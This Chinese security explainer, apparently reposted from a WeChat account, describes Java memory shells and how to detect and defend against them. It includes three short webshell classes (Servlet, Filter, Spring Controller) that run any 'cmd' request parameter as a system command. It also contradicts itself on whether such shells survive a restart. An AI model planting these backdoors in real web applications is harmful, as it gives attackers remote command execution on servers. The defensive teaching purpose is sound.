Java内存马（Java Memory Shell）是一种基于Java应用程序的恶意代码，通常以无文件形式驻留在内存中，通过利用Java应用程序的漏洞或特性实现隐蔽运行。与传统的恶意软件不同，Java内存马不会将自身写入磁盘，而是完全运行在Java虚拟机的内存中，这使得它更难被检测和清除。Java内存马通常用于攻击Java Web应用程序（如Tomcat、Spring、Struts等），通过植入内存马，攻击者可以实现远程控制、数据窃取、持久化访问等恶意行为。

1.Java内存马的特点

• 1.1 无文件特性

Java内存马不依赖于磁盘文件，而是直接加载到Java虚拟机的内存中运行。这使得传统的文件扫描工具难以检测到它的存在。

• 1.2 隐蔽性强

Java内存马通常通过注入到Java应用程序的合法组件（如Servlet、Filter、Controller等）中运行，利用Java的动态特性（如反射、类加载器）隐藏自己。

• 1.3 持久化能力

Java内存马可以通过修改Java应用程序的配置或动态注册组件（如Filter、Servlet）实现持久化，即使应用程序重启，内存马仍然可以重新加载。

• 1.4 跨平台性

由于Java的跨平台特性，Java内存马可以在任何支持Java虚拟机的操作系统上运行，包括Windows、Linux、macOS等。

2.Java内存马的工作原理

• 2.1 植入

Java内存马通常通过以下方式植入目标系统：
漏洞利用：利用Java应用程序的漏洞（如反序列化漏洞、表达式注入漏洞）将恶意代码注入内存。
文件上传：通过文件上传功能将恶意代码上传到服务器，然后利用类加载器加载到内存中。
动态注册：通过Java的反射机制动态注册Servlet、Filter等组件，实现内存马的植入。

• 2.2 驻留

一旦Java内存马成功植入，它会将自己加载到Java虚拟机的内存中，并通过以下方式驻留：
动态类加载：利用Java的类加载器（如URLClassLoader）将恶意类加载到内存中。
组件注入：将恶意代码注入到Java应用程序的合法组件（如Servlet、Filter、Controller）中。

• 2.3 执行

Java内存马在内存中运行后，会执行其恶意功能，例如：
远程控制：通过HTTP请求接收攻击者的指令并执行。
数据窃取：窃取应用程序的敏感数据（如数据库连接信息、用户凭证）。
持久化访问：通过动态注册组件或修改配置文件实现持久化访问。

• 2.4 清除痕迹

为了进一步隐藏自己，Java内存马通常会清除其在内存中的活动痕迹，例如：
动态卸载：在完成任务后动态卸载恶意类，避免被检测。
加密通信：使用加密协议与攻击者的命令与控制（C&C）服务器通信。

3.Java内存马的典型实现方式

• 3.1 Servlet内存马

通过动态注册一个恶意的Servlet，攻击者可以通过HTTP请求与内存马交互。以下是一个简单的Servlet内存马示例：

import javax.servlet.*;
import javax.servlet.http.*;
import java.io.IOException;

public class MaliciousServlet extends HttpServlet {
    @Override
    protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
        String cmd = req.getParameter("cmd");
        if (cmd != null) {
            try {
                Runtime.getRuntime().exec(cmd);
            } catch (Exception e) {
                e.printStackTrace();
            }
        }
    }
}

• 3.2 Filter内存马

通过动态注册一个恶意的Filter，攻击者可以拦截所有的HTTP请求和响应，实现数据窃取或命令执行。以下是一个简单的Filter内存马示例：

import javax.servlet.*;
import javax.servlet.http.*;
import java.io.IOException;

public class MaliciousFilter implements Filter {
    @Override
    public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws IOException, ServletException {
        String cmd = request.getParameter("cmd");
        if (cmd != null) {
            try {
                Runtime.getRuntime().exec(cmd);
            } catch (Exception e) {
                e.printStackTrace();
            }
        }
        chain.doFilter(request, response);
    }
}

• 3.3 Controller内存马

在Spring框架中，攻击者可以通过动态注册一个恶意的Controller实现内存马。以下是一个简单的Spring Controller内存马示例：

import org.springframework.stereotype.Controller;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RequestParam;

@Controller
public class MaliciousController {
    @RequestMapping("/malicious")
    public void executeCommand(@RequestParam String cmd) {
        try {
            Runtime.getRuntime().exec(cmd);
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}

4.Java内存马的检测与防御

• 4.1 检测方法

由于Java内存马的特殊性，传统的基于文件的检测方法往往无效。以下是一些针对Java内存马的检测方法：
内存分析：使用Java内存分析工具（如JDK自带的jmap、jstack）扫描Java虚拟机的内存，查找异常类或对象。
行为监控：监控Java应用程序的行为，例如异常的HTTP请求、动态类加载等。
日志分析：分析应用程序的日志，查找可疑的请求或操作。

• 4.2 防御措施

为了防御Java内存马，可以采取以下措施：
及时打补丁：修复Java应用程序的漏洞，防止内存马通过漏洞植入。
限制类加载：限制动态类加载的功能，避免加载未知的类。
启用安全机制：使用Java的安全管理器（SecurityManager）限制恶意代码的执行。
网络监控：监控网络流量，检测异常的通信行为。
定期重启：定期重启Java应用程序可以清除潜在的内存马。

5.总结

Java内存马是一种高度隐蔽的恶意代码，其无文件特性和内存驻留特性使得它成为攻击者的有力工具。为了应对Java内存马的威胁，开发者和安全团队需要采用先进的内存分析技术、行为监控手段以及综合的防御策略。通过加强安全意识、及时更新应用程序、采用多层次的安全防护措施，可以有效降低Java内存马带来的风险。

原文始发于微信公众号（深安安全）：一文读懂Java内存马